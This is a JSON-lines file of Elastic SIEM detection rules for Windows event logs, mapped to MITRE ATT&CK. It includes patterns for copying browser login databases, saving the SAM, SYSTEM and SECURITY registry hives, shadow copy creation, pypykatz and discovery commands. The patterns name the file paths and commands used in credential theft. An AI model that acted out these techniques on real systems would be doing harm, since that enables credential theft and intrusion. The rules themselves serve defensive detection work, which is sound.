{"description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.\nWeb browsers typically store the credentials in an encrypted format within a credential store.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e2bfc722-fcb5-e4d0-d6e1-79729f76e36d", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Access to Browser Login Data", "query": "(powershell.file.script_block_text:*Copy\\-Item* AND powershell.file.script_block_text:*\\-Destination* AND powershell.file.script_block_text:(*\\\\Opera\\ Software\\\\Opera\\ Stable\\\\Login\\ Data* OR *\\\\Mozilla\\\\Firefox\\\\Profiles* OR *\\\\Microsoft\\\\Edge\\\\User\\ Data\\\\Default* OR *\\\\Google\\\\Chrome\\\\User\\ Data\\\\Default\\\\Login\\ Data* OR *\\\\Google\\\\Chrome\\\\User\\ Data\\\\Default\\\\Login\\ Data\\ For\\ Account*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1555"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1555", "name": "Credentials from Password Stores", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.\nWeb browsers typically store the credentials in an encrypted format within a credential store.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "962ab3e9-a8e2-f0ac-f0b5-2dccbda5ff58", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Accessing Encrypted Credentials from Google Chrome Login Database", "query": "(powershell.file.script_block_text:*Copy\\-Item* AND powershell.file.script_block_text:*\\-Destination* AND powershell.file.script_block_text:(*\\\\Google\\\\Chrome\\\\User\\ Data\\\\Default\\\\Login\\ Data* OR *\\\\Google\\\\Chrome\\\\User\\ Data\\\\Default\\\\Login\\ Data\\ For\\ Account*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1555"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1555", "name": "Credentials from Password Stores", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may acquire credentials from web browsers by reading files specific to the target browser.\nWeb browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future.\nWeb browsers typically store the credentials in an encrypted format within a credential store.\n", "author": ["Nasreddine Bencherchali"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "450a43cf-d51c-0fbc-e6dc-3a69feba4770", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Potential Browser Data Stealing", "query": "(((process.command_line.text:(*copy\\-item* OR *copy* OR *cpi\\ * OR *\\ cp\\ * OR *move* OR *move\\-item* OR *\\ mi\\ * OR *\\ mv\\ *)) OR (process.executable.text:(*\\\\xcopy.exe OR *\\\\robocopy.exe)) OR (winlog.event_data.OriginalFileName:(\"XCOPY.EXE\" OR \"robocopy.exe\"))) AND process.command_line.text:(*\\\\Opera\\ Software\\\\Opera\\ Stable\\\\* OR *\\\\Mozilla\\\\Firefox\\\\Profiles* OR *\\\\Microsoft\\\\Edge\\\\User\\ Data\\\\* OR *\\\\Google\\\\Chrome\\\\User\\ Data\\\\*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Credential Access", "T1555"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK", "technique": [{"id": "T1555", "name": "Credentials from Password Stores", "reference": ""}]}], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Adversaries may attempt to access or create a copy of the Active Directory domain database in order to steal credential information", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b82ac7b2-723f-acfd-abdb-734894cb1d68", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Create Volume Shadow Copy with Powershell", "query": "(powershell.file.script_block_text:*win32_shadowcopy* AND powershell.file.script_block_text:*\\).Create\\(* AND powershell.file.script_block_text:*ClientAccessible*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "25fadaa8-d909-b906-52b6-e282a3bcef3c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Detected Windows Software Discovery", "query": "(powershell.file.script_block_text:*get\\-itemProperty* AND powershell.file.script_block_text:*\\\\software\\\\* AND powershell.file.script_block_text:*select\\-object* AND powershell.file.script_block_text:*format\\-table*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1518"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1518", "name": "Software Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable.", "enabled": false, "false_positives": ["Legitimate administration activities"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "25fadaa8-d909-b906-52b6-e282a3bcef3c", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Detected Windows Software Discovery", "query": "(process.executable.text:*\\\\reg.exe AND process.command_line.text:*query* AND process.command_line.text:*\\\\software\\\\* AND process.command_line.text:*\\/v* AND process.command_line.text:*svcversion*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1518"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1518", "name": "Software Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["Nikita Nazarov", "oscd.community"], "license": ""}
{"description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "f734d3e5-88dd-3421-26ae-622145ac2f4d", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Registry Parse with Pypykatz", "query": "(process.executable:(*\\\\pypykatz.exe OR *\\\\python.exe) AND process.command_line:*live* AND process.command_line:*registry*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database either through Windows Registry where the SAM database is stored", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "24e82b6f-857b-d090-ce87-99ce8fa63fa4", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Registry Dump of SAM Creds and Secrets", "query": "(process.command_line:*\\ save\\ * AND process.command_line:(*HKLM\\\\sam* OR *HKLM\\\\system* OR *HKLM\\\\security*))", "meta": {"from": "1m"}, "severity": "high", "tags": ["Credential Access", "T1003"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0006", "reference": "", "name": "Credential Access"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1003", "name": "OS Credential Dumping", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may attempt to find domain-level groups and permission settings.\nThe knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as domain administrators. \n", "enabled": false, "false_positives": ["Administrator script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "614b9bfc-229f-77b3-af91-21cec21d8ef9", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Get Information for AD Groups or DoesNotRequirePreAuth User", "query": "((powershell.command.invocation_details:*get\\-ADPrincipalGroupMembership* OR winlog.event_data.Payload:*get\\-ADPrincipalGroupMembership*) OR ContextInfo:*get\\-ADPrincipalGroupMembership* OR ((powershell.command.invocation_details:*get\\-aduser* OR winlog.event_data.Payload:*get\\-aduser*) AND (powershell.command.invocation_details:*\\-f\\ * OR winlog.event_data.Payload:*\\-f\\ *) AND (powershell.command.invocation_details:*\\-pr\\ * OR winlog.event_data.Payload:*\\-pr\\ *) AND (powershell.command.invocation_details:*DoesNotRequirePreAuth* OR winlog.event_data.Payload:*DoesNotRequirePreAuth*)) OR (ContextInfo:*get\\-aduser* AND ContextInfo:*\\-f\\ * AND ContextInfo:*\\-pr\\ * AND ContextInfo:*DoesNotRequirePreAuth*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1069"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may attempt to find domain-level groups and permission settings.\nThe knowledge of domain-level permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as domain administrators. \n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "614b9bfc-229f-77b3-af91-21cec21d8ef9", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Get Information for AD Groups or DoesNotRequirePreAuth User", "query": "(powershell.file.script_block_text:*get\\-ADPrincipalGroupMembership* OR (powershell.file.script_block_text:*get\\-aduser* AND powershell.file.script_block_text:*\\-f\\ * AND powershell.file.script_block_text:*\\-pr\\ * AND powershell.file.script_block_text:*DoesNotRequirePreAuth*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1069"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group. \n", "enabled": false, "false_positives": ["Administrator script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5991201f-1073-7522-9dd9-b61b0247b12d", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Get Local Groups Information", "query": "((powershell.command.invocation_details:(*get\\-localgroup* OR *Get\\-LocalGroupMember*) OR winlog.event_data.Payload:(*get\\-localgroup* OR *Get\\-LocalGroupMember*)) OR ContextInfo:(*get\\-localgroup* OR *Get\\-LocalGroupMember*) OR ((powershell.command.invocation_details:*Get\\-WMIObject* OR winlog.event_data.Payload:*Get\\-WMIObject*) AND (powershell.command.invocation_details:*Win32_Group* OR winlog.event_data.Payload:*Win32_Group*)) OR (ContextInfo:*Get\\-WMIObject* AND ContextInfo:*Win32_Group*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1069"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "5991201f-1073-7522-9dd9-b61b0247b12d", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Get Local Groups Information", "query": "(powershell.file.script_block_text:(*get\\-localgroup* OR *Get\\-LocalGroupMember*) OR (powershell.file.script_block_text:*Get\\-WMIObject* AND powershell.file.script_block_text:*Win32_Group*))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1069"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may attempt to find local system groups and permission settings.\nThe knowledge of local system permission groups can help adversaries determine which groups exist and which users belong to a particular group.\nAdversaries may use this information to determine which users have elevated permissions, such as the users found within the local administrators group.\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "ccb67c65-ca3d-c27c-8ec9-c568ac42b5ec", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Get Local Groups Information with WMIC", "query": "((process.executable:*\\\\wmic.exe OR winlog.event_data.OriginalFileName:\"wmic.exe\") AND process.command_line:*\\ group*)", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1069"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1069", "name": "Permission Groups Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.", "enabled": false, "false_positives": ["Admin script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "832c5d81-8c93-4c17-ca92-71858a2b35c6", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Powershell Suspicious Win32_PnPEntity", "query": "powershell.file.script_block_text:*Win32_PnPEntity*", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1120"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1120", "name": "Peripheral Device Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e1929e23-9bbb-2fa3-ef57-ec254c7d8fa2", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Use Get-NetTCPConnection", "query": "process.command_line:*Get\\-NetTCPConnection*", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1049"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1049", "name": "System Network Connections Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "e1929e23-9bbb-2fa3-ef57-ec254c7d8fa2", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Use Get-NetTCPConnection", "query": "ContextInfo:*Get\\-NetTCPConnection*", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1049"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1049", "name": "System Network Connections Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "39634393-d505-c3c6-503b-5a6d5a252de0", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Listing of Network Connections", "query": "(process.command_line:*netstat* OR (process.command_line:*net\\ * AND (process.command_line:(*\\ use OR *\\ sessions) OR process.command_line:(*\\ use\\ * OR *\\ sessions\\ *))))", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1049"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1049", "name": "System Network Connections Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may attempt to get a listing of other systems by IP address, hostname, or other logical identifier on a network that may be used for Lateral Movement from the current system", "enabled": false, "false_positives": ["Legitimate script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "baecbb61-5bc7-944d-6f96-418eee7b7079", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Scan Loop Network", "query": "(process.command_line:(*for\\ * OR *foreach\\ *) AND process.command_line:(*nslookup* OR *ping*))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1018", "T1059"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0002", "reference": "", "name": "Execution"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1059", "name": "Command and Scripting Interpreter", "reference": ""}]}, {"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1018", "name": "Remote System Discovery", "reference": ""}]}], "version": 1, "references": ["", "", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation", "enabled": false, "false_positives": ["Legitimate python script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "3b8905f7-12c4-09d8-2a18-fb757104be3b", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Python Initiated Connection", "query": "((winlog.event_data.Initiated:\"true\" AND process.executable.text:*python*) AND (NOT ((process.parent.executable.text:\"C\\:\\\\ProgramData\\\\Anaconda3\\\\Scripts\\\\conda.exe\" AND process.command_line.text:*C\\:\\\\ProgramData\\\\Anaconda3\\\\Scripts\\\\conda\\-script.py* AND process.command_line.text:*update*) OR (process.parent.executable.text:\"C\\:\\\\ProgramData\\\\Anaconda3\\\\python.exe\" AND process.command_line.text:*C\\:\\\\ProgramData\\\\Anaconda3\\\\Scripts\\\\jupyter\\-notebook\\-script.py*) OR (destination.ip:\"127.0.0.1\" AND source.ip:\"127.0.0.1\"))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1046"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1046", "name": "Network Service Discovery", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation", "enabled": false, "false_positives": ["Network administator computeur"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "88c28afd-7d85-6411-233e-7a895d5f3149", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Suspicious Nmap Execution", "query": "winlog.event_data.OriginalFileName:\"nmap.exe\"", "meta": {"from": "1m"}, "severity": "high", "tags": ["T1046"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1046", "name": "Network Service Scanning", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network", "enabled": false, "false_positives": ["Administrator, hotline ask to user"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "220ab015-b827-d529-ac6e-5b0470ed5109", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Suspicious Tasklist Discovery Command", "query": "(process.command_line:*tasklist* OR process.executable:\"C\\:\\\\Windows\\\\System32\\\\tasklist.exe\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1057"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0007", "reference": "", "name": "Discovery"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1057", "name": "Process Discovery", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "10e798a8-78aa-1db7-7d22-8d588133efa0", "language": "lucene", "max_signals": 100, "risk_score": 65, "name": "Obfuscated Command Line Using Special Unicode Characters", "query": "process.command_line:(*\u00e2* OR *\u20ac* OR *\u00a3* OR *\u00af* OR *\u00ae* OR *\u00b5* OR *\u00b6*)", "meta": {"from": "1m"}, "severity": "high", "tags": ["Defense Evasion", "T1027"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1027", "name": "Obfuscated Files or Information", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation.\nScreen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations\n", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "15faa5eb-7f87-480f-319d-8514b5b53542", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Windows Screen Capture with CopyFromScreen", "query": "powershell.file.script_block_text:*.CopyFromScreen*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1113"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1113", "name": "Screen Capture", "reference": ""}]}], "version": 1, "references": [""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may carry out malicious operations using a virtual instance to avoid detection", "enabled": false, "false_positives": ["Legitimate PowerShell scripts"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "59bada5a-9991-a48b-b2dc-acc2018262fd", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Suspicious Hyper-V Cmdlets", "query": "powershell.file.script_block_text:(*New\\-VM* OR *Set\\-VMFirmware* OR *Start\\-VM*)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["Defense Evasion", "T1564"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0005", "reference": "", "name": "Defense Evasion"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1564", "name": "Hide Artifacts", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may collect data stored in the clipboard from users copying information within or between applications.", "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "b1efda51-13f6-24cd-4909-0b91af33c42c", "language": "lucene", "max_signals": 100, "risk_score": 5, "name": "Use of CLIP", "query": "(process.executable.text:*\\\\clip.exe OR winlog.event_data.OriginalFileName:\"clip.exe\")", "meta": {"from": "1m"}, "severity": "low", "tags": ["T1115"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0009", "reference": "", "name": "Collection"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1115", "name": "Clipboard Data", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may communicate using a protocol and port paring that are typically not associated.\nFor example, HTTPS over port 8088(Citation: Symantec Elfin Mar 2019) or port 587(Citation: Fortinet Agent Tesla April 2018) as opposed to the traditional port 443. \n", "enabled": false, "false_positives": ["Legitimate administrative script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "87b4872c-8fc3-bf3f-8727-e47adc2ac689", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Testing Usage of Uncommonly Used Port", "query": "((powershell.file.script_block_text:*Test\\-NetConnection* AND powershell.file.script_block_text:*\\-ComputerName\\ * AND powershell.file.script_block_text:*\\-port\\ *) AND (NOT (powershell.file.script_block_text:(*\\ 443\\ * OR *\\ 80\\ *))))", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1571"], "to": "now", "type": "query", "threat": [], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
{"description": "Adversaries may communicate using application layer protocols associated with web traffic to avoid detection/network filtering by blending in with existing traffic.\nCommands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n", "author": ["frack113"], "enabled": false, "false_positives": ["Unknown"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "36b8f55b-5aba-4e9c-a714-0b940b765e69", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Change User Agents with WebRequest", "query": "(powershell.file.script_block_text:*Invoke\\-WebRequest* AND powershell.file.script_block_text:*\\-UserAgent\\ *)", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1071"], "to": "now", "type": "query", "threat": [], "version": 1, "references": [""], "license": "", "timestamp_override": "event.ingested"}
{"description": "Adversaries may create a domain account to maintain access to victim systems.\nDomain accounts are those managed by Active Directory Domain Services where access and permissions are configured across systems and services that are part of that domain..\n", "enabled": false, "false_positives": ["Legitimate administrative script"], "filters": [], "from": "now-360s", "immutable": false, "index": ["winlogbeat-*"], "interval": "5m", "rule_id": "dbf0c2d1-d13d-4ca9-0b3d-2d38eb0c9530", "language": "lucene", "max_signals": 100, "risk_score": 35, "name": "Manipulation of User Computer or Group Security Principals Across AD", "query": "powershell.file.script_block_text:*System.DirectoryServices.AccountManagement*", "meta": {"from": "1m"}, "severity": "medium", "tags": ["T1136"], "to": "now", "type": "query", "threat": [{"tactic": {"id": "TA0003", "reference": "", "name": "Persistence"}, "framework": "MITRE ATT&CK\u00ae", "technique": [{"id": "T1136", "name": "Create Account", "reference": ""}]}], "version": 1, "references": ["", ""], "timestamp_override": "event.ingested", "author": ["frack113"], "license": ""}
